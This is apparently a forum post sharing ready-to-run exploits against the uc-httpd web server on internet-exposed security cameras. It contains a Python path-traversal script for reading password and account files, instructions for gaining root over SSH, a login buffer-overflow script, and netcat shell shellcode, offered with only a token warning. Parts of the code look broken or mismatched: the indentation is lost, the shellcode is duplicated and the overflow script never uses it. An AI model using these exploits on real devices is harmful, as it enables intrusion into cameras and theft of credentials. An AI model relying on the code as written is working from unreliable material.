So, here is an n-day expoit that we (my 0day development crew) found back in 2017 (zero-day at the time). Reposting from my github. It's still unpatched despite being four years old, with over two million vulnerable IoT devices (with remote root possible on all of them).
The affected software is "uc-httpd" which is a web interface for a series of models of security cams. Due to the nature of this vuln, it's not possible for them to patch it without performing a mass product recall and re-writing the firmware, so currently it's still exploitable as an n-day :)
Do not abuse this. This is only for research, nothing else. I can't be held liable for your stupidity.
There are multiple exploits here. There is a local file disclosure and also a buffer overflow - you can generally get root via the LFD alone, so there's not really much need for the buffer overflow unless an LFD scenario fails.
So, the LFD is sent as a direct HTTP request to the box, rather than being a vuln POST/GET param. You can generally read /etc/shadow file on the box via the LFD, which contains PLAINTEXT hashes for the root password (so you can just SSH into teh box as root from there using the plaintext pass).
If for some reason you can't read the shadow file via the LFD, then instead you should attempt to read
/mnt/mtd/Config/Account1 to get credentials from the admin interface, and then you can abuse the overflow from there to get root.
Here you can see the results from shodan, showing that there are currently more than 1.9 million devices running this (with our more extensive scanning returning over 2.5million devices):
LFD automated exploit code (python):
#!/usr/bin/env python
import urllib2, httplib, sys
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'
print "[+] uc-httpd 0day exploiter [+]"
print "[+] usage: python " + __file__ + " http://<target_ip>"
host = sys.argv[1]
fd = raw_input('[+] File or Directory: ')
print "Exploiting....."
print '\n'
print urllib2.urlopen(host + '/../../../../..' + fd).read()
It is also worth noting, that in addition to the LFD vuln... you can also supply a directory path to uc-httpd in the same manner that you'd supply the file you want to disclose... it will then output the contents of the directory to you as if you ran "ls" on that dir, so you can use that to enumerate directory contents in order to read even more files (although generally all you need to read to pop root is /etc/shadow or /mnt/mtd/Config/Account1)
If you can't read shadow file and ssh direct into the box as root that way, then read Account1 file and use the following buffer overflow within the web interface (protip: if ASLR is enabled, you can get the relevant memory regions via reading particular proc entries through the LFD)
Buffer Overflow automated exploit code (python):
import mechanize, time, sys, urllib, socket
from termcolor import colored
print colored('uc-httpd web-daemon bufferoverflow', 'red')
print colored('- Overwrites the stack (attach to see)', 'red')
print colored('- Kernel watchdog module restarts Sofia after 2 minutes', 'red')
time.sleep(2)
def at_login_overflow():
print colored('Sending payload.. ', 'red')
s_c = "\x2f\x4c\x6f\x67\x69\x6e\x2e\x68\x74\x6d" # Page id
x = mechanize.Browser()
x.set_handle_robots(False)
x.set_debug_responses(True)
x.addheaders = [("User-agent",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36")]
login = x.open(tar_full + s_c)
x.select_form(nr=0)
x["username"] = buffersm
x["password"] = "mikevirushackinglimited"
try:
x.submit()
except Exception:
print colored('Target daemon not vulnerable.', 'red')
pass
check_conn()
# Check interface status
def check_conn():
time.sleep(1)
print colored('Checking interface status..', 'red')
try:
urllib.urlopen(tar_full)
print colored('Exploit failed', 'red')
except Exception:
print colored('Finished.', 'red')
pass
tar = sys.argv[1]
tar_p = sys.argv[2]
buff_size = sys.argv[3]
tar_full = "http://" + tar + ":" + tar_p
# rec 180
buffersm = "\x41" * int(buff_size)
# post only
at_login_overflow()
Overwrite set shellcode:
\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef\x08\x57
\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51
\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb\x30\x53
\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33\x33\x37\x49\xc1\xea\x20\x41
\x52\x49\x89\xe2\xeb\x11\x41\x59\x52\x51\x53\x41\x52\x41\x51\x57\x48\x89
\xe6\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x31\x32\x37\x2e\x30\x2e\x30\x2e
\x31\xec\xf3\x26\x5a\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63
\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68
\x48\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65
\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33\x33\x37
\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11\x41\x59\x52\x51\x53\x41\x52
\x41\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x31\x32\x37
\x2e\x30\x2e\x30\x2e\x31
enjoy ;) but please don't abuse.